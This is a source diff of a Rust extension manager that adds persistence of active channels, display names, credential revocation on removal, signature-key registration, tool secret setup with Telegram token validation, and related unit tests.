ExtensionSource::WasmBuildable { repo_url, .. } => repo_url.clone(), ExtensionSource::WasmBuildable { source_dir, .. } => source_dir.clone(),
} }
} }
@@ -286,7 +286,7 @@ struct GitHubRepo {
mod tests { mod tests {
use crate::extensions::ExtensionSource; use crate::extensions::ExtensionSource;
use crate::extensions::discovery::{ use crate::extensions::discovery::{
OnlineDiscovery, extract_url, titlecase, validate_mcp_url_with_client, OnlineDiscovery, extract_source, titlecase, validate_mcp_url_with_client,
}; };
#[test] #[test]
@@ -297,16 +297,16 @@ mod tests {
} }
#[test] #[test]
fn test_extract_url() { fn test_extract_source() {
let mcp = ExtensionSource::McpUrl { let mcp = ExtensionSource::McpUrl {
url: "https://mcp.notion.com".to_string(), url: "https://mcp.notion.com".to_string(),
}; };
assert_eq!(extract_url(&mcp), "https://mcp.notion.com"); assert_eq!(extract_source(&mcp), "https://mcp.notion.com");
let discovered = ExtensionSource::Discovered { let discovered = ExtensionSource::Discovered {
url: "https://example.com".to_string(), url: "https://example.com".to_string(),
}; };
assert_eq!(extract_url(&discovered), "https://example.com"); assert_eq!(extract_source(&discovered), "https://example.com");
} }
#[tokio::test] #[tokio::test]
+587 -73
View File
@@ -168,6 +168,53 @@ impl ExtensionManager {
active.extend(names); active.extend(names);
} }
/// Persist the set of active channel names to the settings store.
///
/// Saved under key `activated_channels` so channels auto-activate on restart.
async fn persist_active_channels(&self) {
let Some(ref store) = self.store else {
return;
};
let names: Vec<String> = self
.active_channel_names
.read()
.await
.iter()
.cloned()
.collect();
let value = serde_json::json!(names);
if let Err(e) = store
.set_setting(&self.user_id, "activated_channels", &value)
.await
{
tracing::warn!(error = %e, "Failed to persist activated_channels setting");
}
}
/// Load previously activated channel names from the settings store.
///
/// Returns channel names that were activated in a prior session so they can
/// be auto-activated at startup.
pub async fn load_persisted_active_channels(&self) -> Vec<String> {
let Some(ref store) = self.store else {
return Vec::new();
};
match store.get_setting(&self.user_id, "activated_channels").await {
Ok(Some(value)) => match serde_json::from_value(value) {
Ok(names) => names,
Err(e) => {
tracing::warn!(error = %e, "Failed to deserialize activated_channels");
Vec::new()
}
},
Ok(None) => Vec::new(),
Err(e) => {
tracing::warn!(error = %e, "Failed to load activated_channels setting");
Vec::new()
}
}
}
/// Set the SSE broadcast sender for pushing extension status events to the web UI. /// Set the SSE broadcast sender for pushing extension status events to the web UI.
pub async fn set_sse_sender( pub async fn set_sse_sender(
&self, &self,
@@ -323,9 +370,15 @@ impl ExtensionManager {
Vec::new() Vec::new()
}; };
let display_name = self
.registry
.get_with_kind(&server.name, Some(ExtensionKind::McpServer))
.await
.map(|e| e.display_name);
extensions.push(InstalledExtension { extensions.push(InstalledExtension {
name: server.name.clone(), name: server.name.clone(),
kind: ExtensionKind::McpServer, kind: ExtensionKind::McpServer,
display_name,
description: server.description.clone(), description: server.description.clone(),
url: Some(server.url.clone()), url: Some(server.url.clone()),
authenticated, authenticated,
@@ -352,15 +405,22 @@ impl ExtensionManager {
for (name, _discovered) in tools { for (name, _discovered) in tools {
let active = self.tool_registry.has(&name).await; let active = self.tool_registry.has(&name).await;
let display_name = self
.registry
.get_with_kind(&name, Some(ExtensionKind::WasmTool))
.await
.map(|e| e.display_name);
let (authenticated, needs_setup) = self.check_tool_auth_status(&name).await;
extensions.push(InstalledExtension { extensions.push(InstalledExtension {
name: name.clone(), name: name.clone(),
kind: ExtensionKind::WasmTool, kind: ExtensionKind::WasmTool,
display_name,
description: None, description: None,
url: None, url: None,
authenticated: true, // WASM tools don't always need auth authenticated,
active, active,
tools: if active { vec![name] } else { Vec::new() }, tools: if active { vec![name] } else { Vec::new() },
needs_setup: false, needs_setup,
installed: true, installed: true,
activation_error: None, activation_error: None,
}); });
@@ -385,9 +445,15 @@ impl ExtensionManager {
let (authenticated, needs_setup) = let (authenticated, needs_setup) =
self.check_channel_auth_status(&name).await; self.check_channel_auth_status(&name).await;
let activation_error = errors.get(&name).cloned(); let activation_error = errors.get(&name).cloned();
let display_name = self
.registry
.get_with_kind(&name, Some(ExtensionKind::WasmChannel))
.await
.map(|e| e.display_name);
extensions.push(InstalledExtension { extensions.push(InstalledExtension {
name, name,
kind: ExtensionKind::WasmChannel, kind: ExtensionKind::WasmChannel,
display_name,
description: None, description: None,
url: None, url: None,
authenticated, authenticated,
@@ -424,6 +490,7 @@ impl ExtensionManager {
extensions.push(InstalledExtension { extensions.push(InstalledExtension {
name: entry.name, name: entry.name,
kind: entry.kind, kind: entry.kind,
display_name: Some(entry.display_name),
description: Some(entry.description), description: Some(entry.description),
url: None, url: None,
authenticated: false, authenticated: false,
@@ -477,6 +544,12 @@ impl ExtensionManager {
// Unregister from tool registry // Unregister from tool registry
self.tool_registry.unregister(name).await; self.tool_registry.unregister(name).await;
// Revoke credential mappings from the shared registry
let cap_path = self
.wasm_tools_dir
.join(format!("{}.capabilities.json", name));
self.revoke_credential_mappings(&cap_path).await;
// Unregister hooks registered from this plugin source. // Unregister hooks registered from this plugin source.
let removed_hooks = self let removed_hooks = self
.unregister_hook_prefix(&format!("plugin.tool:{}::", name)) .unregister_hook_prefix(&format!("plugin.tool:{}::", name))
@@ -494,9 +567,6 @@ impl ExtensionManager {
// Delete files // Delete files
let wasm_path = self.wasm_tools_dir.join(format!("{}.wasm", name)); let wasm_path = self.wasm_tools_dir.join(format!("{}.wasm", name));
let cap_path = self
.wasm_tools_dir
.join(format!("{}.capabilities.json", name));
if wasm_path.exists() { if wasm_path.exists() {
tokio::fs::remove_file(&wasm_path) tokio::fs::remove_file(&wasm_path)
@@ -510,12 +580,19 @@ impl ExtensionManager {
Ok(format!("Removed WASM tool '{}'", name)) Ok(format!("Removed WASM tool '{}'", name))
} }
ExtensionKind::WasmChannel => { ExtensionKind::WasmChannel => {
// Remove from active set and persist
self.active_channel_names.write().await.remove(name);
self.persist_active_channels().await;
// Delete channel files // Delete channel files
let wasm_path = self.wasm_channels_dir.join(format!("{}.wasm", name)); let wasm_path = self.wasm_channels_dir.join(format!("{}.wasm", name));
let cap_path = self let cap_path = self
.wasm_channels_dir .wasm_channels_dir
.join(format!("{}.capabilities.json", name)); .join(format!("{}.capabilities.json", name));
// Revoke credential mappings before deleting the capabilities file
self.revoke_credential_mappings(&cap_path).await;
if wasm_path.exists() { if wasm_path.exists() {
tokio::fs::remove_file(&wasm_path) tokio::fs::remove_file(&wasm_path)
.await .await
@@ -600,16 +677,17 @@ impl ExtensionManager {
primary_error = %primary_err, primary_error = %primary_err,
"Primary install failed, trying fallback source" "Primary install failed, trying fallback source"
); );
self.try_install_from_source(entry, fallback) match self.try_install_from_source(entry, fallback).await {
.await Ok(result) => Ok(result),
.map_err(|fallback_err| { Err(fallback_err) => {
tracing::error!( tracing::error!(
extension = %entry.name, extension = %entry.name,
fallback_error = %fallback_err, fallback_error = %fallback_err,
"Fallback install also failed" "Fallback install also failed"
); );
combine_install_errors(&primary_err, fallback_err) Err(combine_install_errors(primary_err, fallback_err))
}) }
}
} }
} }
} }
@@ -1442,6 +1520,51 @@ impl ExtensionManager {
(all_provided, true) (all_provided, true)
} }
/// Load and parse a WASM tool's capabilities file.
///
/// Returns `None` if the file doesn't exist or can't be parsed.
async fn load_tool_capabilities(
&self,
name: &str,
) -> Option<crate::tools::wasm::CapabilitiesFile> {
let cap_path = self
.wasm_tools_dir
.join(format!("{}.capabilities.json", name));
let cap_bytes = tokio::fs::read(&cap_path).await.ok()?;
crate::tools::wasm::CapabilitiesFile::from_bytes(&cap_bytes).ok()
}
/// Check whether a WASM tool's required setup secrets are provided.
///
/// Returns `(authenticated, needs_setup)` — same semantics as `check_channel_auth_status`.
async fn check_tool_auth_status(&self, name: &str) -> (bool, bool) {
let Some(cap_file) = self.load_tool_capabilities(name).await else {
return (true, false);
};
let Some(setup) = &cap_file.setup else {
return (true, false);
};
if setup.required_secrets.is_empty() {
return (true, false);
}
let mut all_provided = true;
for secret in &setup.required_secrets {
if secret.optional {
continue;
}
if !self
.secrets
.exists(&self.user_id, &secret.name)
.await
.unwrap_or(false)
{
all_provided = false;
break;
}
}
(all_provided, true)
}
async fn auth_wasm_channel( async fn auth_wasm_channel(
&self, &self,
name: &str, name: &str,
@@ -1786,8 +1909,13 @@ impl ExtensionManager {
None None
}; };
let loader = let settings_store: Option<Arc<dyn crate::db::SettingsStore>> =
WasmChannelLoader::new(Arc::clone(&channel_runtime), Arc::clone(&pairing_store)); self.store.as_ref().map(|db| Arc::clone(db) as _);
let loader = WasmChannelLoader::new(
Arc::clone(&channel_runtime),
Arc::clone(&pairing_store),
settings_store,
);
let loaded = loader let loaded = loader
.load_from_files(name, &wasm_path, cap_path_option) .load_from_files(name, &wasm_path, cap_path_option)
.await .await
@@ -1796,6 +1924,7 @@ impl ExtensionManager {
let channel_name = loaded.name().to_string(); let channel_name = loaded.name().to_string();
let webhook_secret_name = loaded.webhook_secret_name(); let webhook_secret_name = loaded.webhook_secret_name();
let secret_header = loaded.webhook_secret_header().map(|s| s.to_string()); let secret_header = loaded.webhook_secret_header().map(|s| s.to_string());
let sig_key_secret_name = loaded.signature_key_secret_name();
// Get webhook secret from secrets store // Get webhook secret from secrets store
let webhook_secret = self let webhook_secret = self
@@ -1861,6 +1990,26 @@ impl ExtensionManager {
) )
.await; .await;
tracing::info!(channel = %channel_name, "Registered hot-activated channel with webhook router"); tracing::info!(channel = %channel_name, "Registered hot-activated channel with webhook router");
// Register Ed25519 signature key if declared in capabilities
if let Some(ref sig_key_name) = sig_key_secret_name
&& let Ok(key_secret) = self
.secrets
.get_decrypted(&self.user_id, sig_key_name)
.await
{
match wasm_channel_router
.register_signature_key(&channel_name, key_secret.expose())
.await
{
Ok(()) => {
tracing::info!(channel = %channel_name, "Registered signature key for hot-activated channel")
}
Err(e) => {
tracing::error!(channel = %channel_name, error = %e, "Failed to register signature key")
}
}
}
} }
// Inject credentials // Inject credentials
@@ -1902,6 +2051,9 @@ impl ExtensionManager {
.await .await
.insert(channel_name.clone()); .insert(channel_name.clone());
// Persist activation state so the channel auto-activates on restart
self.persist_active_channels().await;
tracing::info!(channel = %channel_name, "Hot-activated WASM channel"); tracing::info!(channel = %channel_name, "Hot-activated WASM channel");
Ok(ActivateResult { Ok(ActivateResult {
@@ -1996,6 +2148,37 @@ impl ExtensionManager {
existing_channel.update_config(config_updates).await; existing_channel.update_config(config_updates).await;
} }
// Also refresh signature key in the router
let sig_key_secret_name = {
let cap_path = self
.wasm_channels_dir
.join(format!("{}.capabilities.json", name));
match tokio::fs::read(&cap_path).await {
Ok(bytes) => crate::channels::wasm::ChannelCapabilitiesFile::from_bytes(&bytes)
.ok()
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string())),
Err(_) => None,
}
};
if let Some(ref sig_key_name) = sig_key_secret_name
&& let Ok(key_secret) = self
.secrets
.get_decrypted(&self.user_id, sig_key_name)
.await
{
match router
.register_signature_key(name, key_secret.expose())
.await
{
Ok(()) => {
tracing::info!(channel = %name, "Refreshed signature verification key")
}
Err(e) => {
tracing::error!(channel = %name, error = %e, "Failed to refresh signature key")
}
}
}
// Refresh tunnel_url in case it wasn't set at startup // Refresh tunnel_url in case it wasn't set at startup
if let Some(ref tunnel_url) = self.tunnel_url { if let Some(ref tunnel_url) = self.tunnel_url {
let mut config_updates = std::collections::HashMap::new(); let mut config_updates = std::collections::HashMap::new();
@@ -2122,6 +2305,30 @@ impl ExtensionManager {
} }
Ok(fields) Ok(fields)
} }
ExtensionKind::WasmTool => {
let Some(cap_file) = self.load_tool_capabilities(name).await else {
return Ok(Vec::new());
};
let mut fields = Vec::new();
if let Some(setup) = &cap_file.setup {
for secret in &setup.required_secrets {
let provided = self
.secrets
.exists(&self.user_id, &secret.name)
.await
.unwrap_or(false);
fields.push(crate::channels::web::types::SecretFieldInfo {
name: secret.name.clone(),
prompt: secret.prompt.clone(),
optional: secret.optional,
provided,
auto_generate: false,
});
}
}
Ok(fields)
}
_ => Ok(Vec::new()), _ => Ok(Vec::new()),
} }
} }
@@ -2136,34 +2343,82 @@ impl ExtensionManager {
secrets: &std::collections::HashMap<String, String>, secrets: &std::collections::HashMap<String, String>,
) -> Result<SetupResult, ExtensionError> { ) -> Result<SetupResult, ExtensionError> {
let kind = self.determine_installed_kind(name).await?; let kind = self.determine_installed_kind(name).await?;
if kind != ExtensionKind::WasmChannel {
return Err(ExtensionError::Other(
"Setup is only supported for WASM channels".to_string(),
));
}
let cap_path = self // Load allowed secret names from the extension's capabilities file
.wasm_channels_dir let allowed: std::collections::HashSet<String> = match kind {
.join(format!("{}.capabilities.json", name)); ExtensionKind::WasmChannel => {
if !cap_path.exists() { let cap_path = self
return Err(ExtensionError::Other(format!( .wasm_channels_dir
"Capabilities file not found for '{}'", .join(format!("{}.capabilities.json", name));
name if !cap_path.exists() {
))); return Err(ExtensionError::Other(format!(
} "Capabilities file not found for '{}'",
let cap_bytes = tokio::fs::read(&cap_path) name
.await )));
.map_err(|e| ExtensionError::Other(e.to_string()))?; }
let cap_file = crate::channels::wasm::ChannelCapabilitiesFile::from_bytes(&cap_bytes) let cap_bytes = tokio::fs::read(&cap_path)
.map_err(|e| ExtensionError::Other(e.to_string()))?; .await
.map_err(|e| ExtensionError::Other(e.to_string()))?;
let cap_file =
crate::channels::wasm::ChannelCapabilitiesFile::from_bytes(&cap_bytes)
.map_err(|e| ExtensionError::Other(e.to_string()))?;
cap_file
.setup
.required_secrets
.iter()
.map(|s| s.name.clone())
.collect()
}
ExtensionKind::WasmTool => {
let cap_file = self.load_tool_capabilities(name).await.ok_or_else(|| {
ExtensionError::Other(format!("Capabilities file not found for '{}'", name))
})?;
match cap_file.setup {
Some(s) => s.required_secrets.iter().map(|s| s.name.clone()).collect(),
None => {
return Err(ExtensionError::Other(format!(
"Tool '{}' has no setup schema — no secrets to configure",
name
)));
}
}
}
_ => {
return Err(ExtensionError::Other(
"Setup is only supported for WASM channels and tools".to_string(),
));
}
};
// Build allowed secret names from capabilities // For Telegram, validate the bot token against the API before storing it.
let allowed: std::collections::HashSet<String> = cap_file // This catches bad tokens immediately (both on first setup and reconfigure),
.setup // before the channel activates and potentially shows as active with a bad token.
.required_secrets if name == "telegram"
.iter() && let Some(token_value) = secrets.get("telegram_bot_token")
.map(|s| s.name.clone()) {
.collect(); let token = token_value.trim();
if !token.is_empty() {
let encoded_token =
url::form_urlencoded::byte_serialize(token.as_bytes()).collect::<String>();
let url = format!("https://api.telegram.org/bot{}/getMe", encoded_token);
let resp = reqwest::Client::builder()
.timeout(std::time::Duration::from_secs(10))
.build()
.map_err(|e| ExtensionError::Other(e.to_string()))?
.get(&url)
.send()
.await
.map_err(|e| {
ExtensionError::Other(format!("Failed to validate bot token: {}", e))
})?;
if !resp.status().is_success() {
return Err(ExtensionError::Other(format!(
"Invalid bot token (Telegram API returned {})",
resp.status()
)));
}
}
}
// Validate and store each submitted secret // Validate and store each submitted secret
for (secret_name, secret_value) in secrets { for (secret_name, secret_value) in secrets {
@@ -2184,33 +2439,70 @@ impl ExtensionManager {
.map_err(|e| ExtensionError::AuthFailed(e.to_string()))?; .map_err(|e| ExtensionError::AuthFailed(e.to_string()))?;
} }
// Auto-generate any missing secrets that have auto_generate set // Auto-generate any missing secrets (channel-only feature)
for secret_def in &cap_file.setup.required_secrets { if kind == ExtensionKind::WasmChannel {
if let Some(ref auto_gen) = secret_def.auto_generate { let cap_path = self
let already_provided = secrets .wasm_channels_dir
.get(&secret_def.name) .join(format!("{}.capabilities.json", name));
.is_some_and(|v| !v.trim().is_empty()); if let Ok(cap_bytes) = tokio::fs::read(&cap_path).await
let already_stored = self && let Ok(cap_file) =
.secrets crate::channels::wasm::ChannelCapabilitiesFile::from_bytes(&cap_bytes)
.exists(&self.user_id, &secret_def.name) {
.await for secret_def in &cap_file.setup.required_secrets {
.unwrap_or(false); if let Some(ref auto_gen) = secret_def.auto_generate {
if !already_provided && !already_stored { let already_provided = secrets
use rand::RngCore; .get(&secret_def.name)
let mut bytes = vec![0u8; auto_gen.length]; .is_some_and(|v| !v.trim().is_empty());
rand::thread_rng().fill_bytes(&mut bytes); let already_stored = self
let hex_value: String = bytes.iter().map(|b| format!("{b:02x}")).collect(); .secrets
let params = CreateSecretParams::new(&secret_def.name, &hex_value) .exists(&self.user_id, &secret_def.name)
.with_provider(name.to_string()); .await
self.secrets .unwrap_or(false);
.create(&self.user_id, params) if !already_provided && !already_stored {
.await use rand::RngCore;
.map_err(|e| ExtensionError::AuthFailed(e.to_string()))?; let mut bytes = vec![0u8; auto_gen.length];
tracing::info!( rand::thread_rng().fill_bytes(&mut bytes);
"Auto-generated secret '{}' for channel '{}'", let hex_value: String =
secret_def.name, bytes.iter().map(|b| format!("{b:02x}")).collect();
name let params = CreateSecretParams::new(&secret_def.name, &hex_value)
.with_provider(name.to_string());
self.secrets
.create(&self.user_id, params)
.await
.map_err(|e| ExtensionError::AuthFailed(e.to_string()))?;
tracing::info!(
"Auto-generated secret '{}' for channel '{}'",
secret_def.name,
name
);
}
}
}
}
}
// For tools, save and attempt auto-activation
if kind == ExtensionKind::WasmTool {
match self.activate_wasm_tool(name).await {
Ok(result) => {
return Ok(SetupResult {
message: format!(
"Configuration saved and tool '{}' activated. {}",
name, result.message
),
activated: true,
});
}
Err(e) => {
tracing::debug!(
"Auto-activation of tool '{}' after setup failed: {}",
name,
e
); );
return Ok(SetupResult {
message: format!("Configuration saved for '{}'.", name),
activated: false,
});
} }
} }
} }
@@ -2253,6 +2545,47 @@ impl ExtensionManager {
} }
} }
/// Read a capabilities.json file and revoke its credential mappings from
/// the shared credential registry, so removed extensions lose injection
/// authority immediately.
async fn revoke_credential_mappings(&self, cap_path: &std::path::Path) {
if !cap_path.exists() {
return;
}
let Ok(bytes) = tokio::fs::read(cap_path).await else {
return;
};
// Extract secret names from the capabilities JSON.
// Structure: { "http": { "credentials": { "<key>": { "secret_name": "..." } } } }
let Ok(json) = serde_json::from_slice::<serde_json::Value>(&bytes) else {
return;
};
let secret_names: Vec<String> = json
.get("http")
.and_then(|h| h.get("credentials"))
.and_then(|c| c.as_object())
.map(|creds| {
creds
.values()
.filter_map(|v| v.get("secret_name").and_then(|s| s.as_str()))
.map(String::from)
.collect()
})
.unwrap_or_default();
if secret_names.is_empty() {
return;
}
if let Some(cr) = self.tool_registry.credential_registry() {
cr.remove_mappings_for_secrets(&secret_names);
tracing::info!(
secrets = ?secret_names,
"Revoked credential mappings for removed extension"
);
}
}
async fn unregister_hook_prefix(&self, prefix: &str) -> usize { async fn unregister_hook_prefix(&self, prefix: &str) -> usize {
let Some(ref hooks) = self.hooks else { let Some(ref hooks) = self.hooks else {
return 0; return 0;
@@ -2355,22 +2688,24 @@ fn fallback_decision(
/// Combine primary and fallback errors into a single error. /// Combine primary and fallback errors into a single error.
/// ///
/// Preserves `AlreadyInstalled` from the fallback directly; otherwise wraps /// Preserves `AlreadyInstalled` from the fallback directly; otherwise wraps
/// both error messages into `ExtensionError::Other`. /// both errors into the structured `ExtensionError::FallbackFailed` variant.
fn combine_install_errors( fn combine_install_errors(
primary_err: &ExtensionError, primary_err: ExtensionError,
fallback_err: ExtensionError, fallback_err: ExtensionError,
) -> ExtensionError { ) -> ExtensionError {
if matches!(fallback_err, ExtensionError::AlreadyInstalled(_)) { if matches!(fallback_err, ExtensionError::AlreadyInstalled(_)) {
return fallback_err; return fallback_err;
} }
ExtensionError::Other(format!( ExtensionError::FallbackFailed {
"Primary install failed: {}; fallback install also failed: {}", primary: Box::new(primary_err),
primary_err, fallback_err fallback: Box::new(fallback_err),
)) }
} }
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use std::sync::Arc;
use crate::extensions::manager::{ use crate::extensions::manager::{
FallbackDecision, combine_install_errors, fallback_decision, infer_kind_from_url, FallbackDecision, combine_install_errors, fallback_decision, infer_kind_from_url,
}; };
@@ -2408,7 +2743,7 @@ mod tests {
fn make_fallback_source() -> Option<Box<ExtensionSource>> { fn make_fallback_source() -> Option<Box<ExtensionSource>> {
Some(Box::new(ExtensionSource::WasmBuildable { Some(Box::new(ExtensionSource::WasmBuildable {
repo_url: "tools-src/test".to_string(), source_dir: "tools-src/test".to_string(),
build_dir: Some("tools-src/test".to_string()), build_dir: Some("tools-src/test".to_string()),
crate_name: Some("test-tool".to_string()), crate_name: Some("test-tool".to_string()),
})) }))
@@ -2461,7 +2796,11 @@ mod tests {
fn test_combine_errors_includes_both_messages() { fn test_combine_errors_includes_both_messages() {
let primary = ExtensionError::DownloadFailed("404 Not Found".to_string()); let primary = ExtensionError::DownloadFailed("404 Not Found".to_string());
let fallback = ExtensionError::InstallFailed("cargo not found".to_string()); let fallback = ExtensionError::InstallFailed("cargo not found".to_string());
let combined = combine_install_errors(&primary, fallback); let combined = combine_install_errors(primary, fallback);
assert!(
matches!(combined, ExtensionError::FallbackFailed { .. }),
"Expected FallbackFailed, got: {combined:?}"
);
let msg = combined.to_string(); let msg = combined.to_string();
assert!(msg.contains("404 Not Found"), "missing primary: {msg}"); assert!(msg.contains("404 Not Found"), "missing primary: {msg}");
assert!(msg.contains("cargo not found"), "missing fallback: {msg}"); assert!(msg.contains("cargo not found"), "missing fallback: {msg}");
@@ -2471,10 +2810,185 @@ mod tests {
fn test_combine_errors_forwards_already_installed_from_fallback() { fn test_combine_errors_forwards_already_installed_from_fallback() {
let primary = ExtensionError::DownloadFailed("404".to_string()); let primary = ExtensionError::DownloadFailed("404".to_string());
let fallback = ExtensionError::AlreadyInstalled("test".to_string()); let fallback = ExtensionError::AlreadyInstalled("test".to_string());
let combined = combine_install_errors(&primary, fallback); let combined = combine_install_errors(primary, fallback);
assert!( assert!(
matches!(combined, ExtensionError::AlreadyInstalled(ref name) if name == "test"), matches!(combined, ExtensionError::AlreadyInstalled(ref name) if name == "test"),
"Expected AlreadyInstalled, got: {combined:?}" "Expected AlreadyInstalled, got: {combined:?}"
); );
} }
// === QA Plan P2 - 2.4: Extension registry collision tests (filesystem) ===
#[test]
fn test_tool_and_channel_paths_are_separate() {
// Verify that a WASM tool named "telegram" and a WASM channel named
// "telegram" use different filesystem paths and don't overwrite each other.
let dir = tempfile::tempdir().expect("temp dir");
let tools_dir = dir.path().join("tools");
let channels_dir = dir.path().join("channels");
std::fs::create_dir_all(&tools_dir).unwrap();
std::fs::create_dir_all(&channels_dir).unwrap();
let name = "telegram";
let tool_wasm = tools_dir.join(format!("{}.wasm", name));
let channel_wasm = channels_dir.join(format!("{}.wasm", name));
// Simulate installing both.
std::fs::write(&tool_wasm, b"tool-payload").unwrap();
std::fs::write(&channel_wasm, b"channel-payload").unwrap();
// Both files exist and contain distinct content.
assert!(tool_wasm.exists());
assert!(channel_wasm.exists());
assert_ne!(
std::fs::read(&tool_wasm).unwrap(),
std::fs::read(&channel_wasm).unwrap(),
"Tool and channel files must be independent"
);
// Removing one doesn't affect the other.
std::fs::remove_file(&tool_wasm).unwrap();
assert!(!tool_wasm.exists());
assert!(
channel_wasm.exists(),
"Removing tool must not affect channel"
);
}
#[test]
fn test_determine_kind_priority_tools_before_channels() {
// When a name exists in both tools and channels dirs,
// determine_installed_kind checks tools first (wasm_tools_dir).
// This test documents the priority order.
let dir = tempfile::tempdir().expect("temp dir");
let tools_dir = dir.path().join("tools");
let channels_dir = dir.path().join("channels");
std::fs::create_dir_all(&tools_dir).unwrap();
std::fs::create_dir_all(&channels_dir).unwrap();
let name = "ambiguous";
let tool_wasm = tools_dir.join(format!("{}.wasm", name));
let channel_wasm = channels_dir.join(format!("{}.wasm", name));
// Only channel exists → channel kind.
std::fs::write(&channel_wasm, b"channel").unwrap();
assert!(!tool_wasm.exists());
assert!(channel_wasm.exists());
// Both exist → tools dir checked first.
std::fs::write(&tool_wasm, b"tool").unwrap();
assert!(tool_wasm.exists());
assert!(channel_wasm.exists());
// This documents the determine_installed_kind priority:
// tools are checked before channels.
// Only tool exists → tool kind.
std::fs::remove_file(&channel_wasm).unwrap();
assert!(tool_wasm.exists());
assert!(!channel_wasm.exists());
}
// === WASM runtime availability tests ===
//
// Regression tests for a bug where the WASM runtime was only created at
// startup when the tools directory already existed. Extensions installed
// after startup (e.g. via the web UI) would fail with "WASM runtime not
// available" because the ExtensionManager had `wasm_tool_runtime: None`.
/// Build a minimal ExtensionManager suitable for unit tests.
fn make_test_manager(
wasm_runtime: Option<Arc<crate::tools::wasm::WasmToolRuntime>>,
tools_dir: std::path::PathBuf,
) -> crate::extensions::manager::ExtensionManager {
use crate::secrets::{InMemorySecretsStore, SecretsCrypto};
use crate::tools::mcp::session::McpSessionManager;
let key = secrecy::SecretString::from(crate::secrets::keychain::generate_master_key_hex());
let crypto = Arc::new(SecretsCrypto::new(key).expect("crypto"));
let secrets: Arc<dyn crate::secrets::SecretsStore + Send + Sync> =
Arc::new(InMemorySecretsStore::new(crypto));
let tools = Arc::new(crate::tools::ToolRegistry::new());
let mcp = Arc::new(McpSessionManager::new());
crate::extensions::manager::ExtensionManager::new(
mcp,
secrets,
tools,
None, // hooks
wasm_runtime,
tools_dir.clone(),
tools_dir, // channels dir (unused here)
None, // tunnel_url
"test".to_string(),
None, // db
vec![],
)
}
#[tokio::test]
async fn test_activate_wasm_tool_with_runtime_passes_runtime_check() {
// When the ExtensionManager has a WASM runtime, activation should get
// past the "WASM runtime not available" check. It will still fail
// because no .wasm file exists on disk — but the error message should
// be "not found", NOT "WASM runtime not available".
let dir = tempfile::tempdir().expect("temp dir");
let config = crate::tools::wasm::WasmRuntimeConfig::for_testing();
let runtime = Arc::new(crate::tools::wasm::WasmToolRuntime::new(config).expect("runtime"));
let mgr = make_test_manager(Some(runtime), dir.path().to_path_buf());
let err = mgr.activate("nonexistent").await.unwrap_err();
let msg = err.to_string();
assert!(
!msg.contains("WASM runtime not available"),
"Should not fail on runtime check, got: {msg}"
);
assert!(
msg.contains("not found")
|| msg.contains("not installed")
|| msg.contains("Not installed"),
"Should fail on missing file, got: {msg}"
);
}
#[tokio::test]
async fn test_activate_wasm_tool_without_runtime_fails_with_runtime_error() {
// When the ExtensionManager has no WASM runtime (None), activation
// must fail with the "WASM runtime not available" message.
let dir = tempfile::tempdir().expect("temp dir");
// Write a fake .wasm file so we don't fail on "not found" first.
std::fs::write(dir.path().join("fake.wasm"), b"not-a-real-wasm").unwrap();
let mgr = make_test_manager(None, dir.path().to_path_buf());
let err = mgr.activate("fake").await.unwrap_err();
let msg = err.to_string();
assert!(
msg.contains("WASM runtime not available"),
"Expected runtime not available error, got: {msg}"
);
}
#[test]
fn test_capabilities_files_also_separate() {
// capabilities.json files for tools and channels should also be separate.
let dir = tempfile::tempdir().expect("temp dir");
let tools_dir = dir.path().join("tools");
let channels_dir = dir.path().join("channels");
std::fs::create_dir_all(&tools_dir).unwrap();
std::fs::create_dir_all(&channels_dir).unwrap();
let name = "telegram";
let tool_cap = tools_dir.join(format!("{}.capabilities.json", name));
let channel_cap = channels_dir.join(format!("{}.capabilities.json", name));
let tool_caps = r#"{"required_secrets":["TELEGRAM_API_KEY"]}"#;
let channel_caps = r#"{"required_secrets":["TELEGRAM_BOT_TOKEN"]}"#;
std::fs::write(&tool_cap, tool_caps).unwrap();
std::fs::write(&channel_cap, channel_caps).unwrap();
// Both exist with distinct content.
assert_eq!(std::fs::read_to_string(&tool_cap).unwrap(), tool_caps);
assert_eq!(std::fs::read_to_string(&channel_cap).unwrap(), channel_caps);
}
} }
+12 -2
View File
@@ -83,9 +83,10 @@ pub enum ExtensionSource {
#[serde(default)] #[serde(default)]
capabilities_url: Option<String>, capabilities_url: Option<String>,
}, },
/// Build from source repository. /// Build from local source directory.
WasmBuildable { WasmBuildable {
repo_url: String, #[serde(alias = "repo_url")]
source_dir: String,
#[serde(default)] #[serde(default)]
build_dir: Option<String>, build_dir: Option<String>,
/// Crate name used to locate the build artifact binary. /// Crate name used to locate the build artifact binary.
@@ -187,6 +188,9 @@ fn default_true() -> bool {
pub struct InstalledExtension { pub struct InstalledExtension {
pub name: String, pub name: String,
pub kind: ExtensionKind, pub kind: ExtensionKind,
/// Human-readable display name (e.g. "Telegram Channel" vs "Telegram Tool").
#[serde(skip_serializing_if = "Option::is_none")]
pub display_name: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")] #[serde(skip_serializing_if = "Option::is_none")]
pub description: Option<String>, pub description: Option<String>,
/// Server or source URL (e.g. MCP server endpoint). /// Server or source URL (e.g. MCP server endpoint).
@@ -241,6 +245,12 @@ pub enum ExtensionError {
#[error("Config error: {0}")] #[error("Config error: {0}")]
Config(String), Config(String),
#[error("Primary install failed: {primary}; fallback install also failed: {fallback}")]
FallbackFailed {
primary: Box<ExtensionError>,
fallback: Box<ExtensionError>,
},
#[error("{0}")] #[error("{0}")]
Other(String), Other(String),
} }
+113 -6
View File
@@ -605,7 +605,7 @@ mod tests {
description: "Telegram Bot API channel".to_string(), description: "Telegram Bot API channel".to_string(),
keywords: vec!["messaging".into(), "bot".into()], keywords: vec!["messaging".into(), "bot".into()],
source: ExtensionSource::WasmBuildable { source: ExtensionSource::WasmBuildable {
repo_url: "channels-src/telegram".to_string(), source_dir: "channels-src/telegram".to_string(),
build_dir: Some("channels-src/telegram".to_string()), build_dir: Some("channels-src/telegram".to_string()),
crate_name: Some("telegram-channel".to_string()), crate_name: Some("telegram-channel".to_string()),
}, },
@@ -620,7 +620,7 @@ mod tests {
description: "Slack WASM tool".to_string(), description: "Slack WASM tool".to_string(),
keywords: vec!["messaging".into()], keywords: vec!["messaging".into()],
source: ExtensionSource::WasmBuildable { source: ExtensionSource::WasmBuildable {
repo_url: "tools-src/slack".to_string(), source_dir: "tools-src/slack".to_string(),
build_dir: Some("tools-src/slack".to_string()), build_dir: Some("tools-src/slack".to_string()),
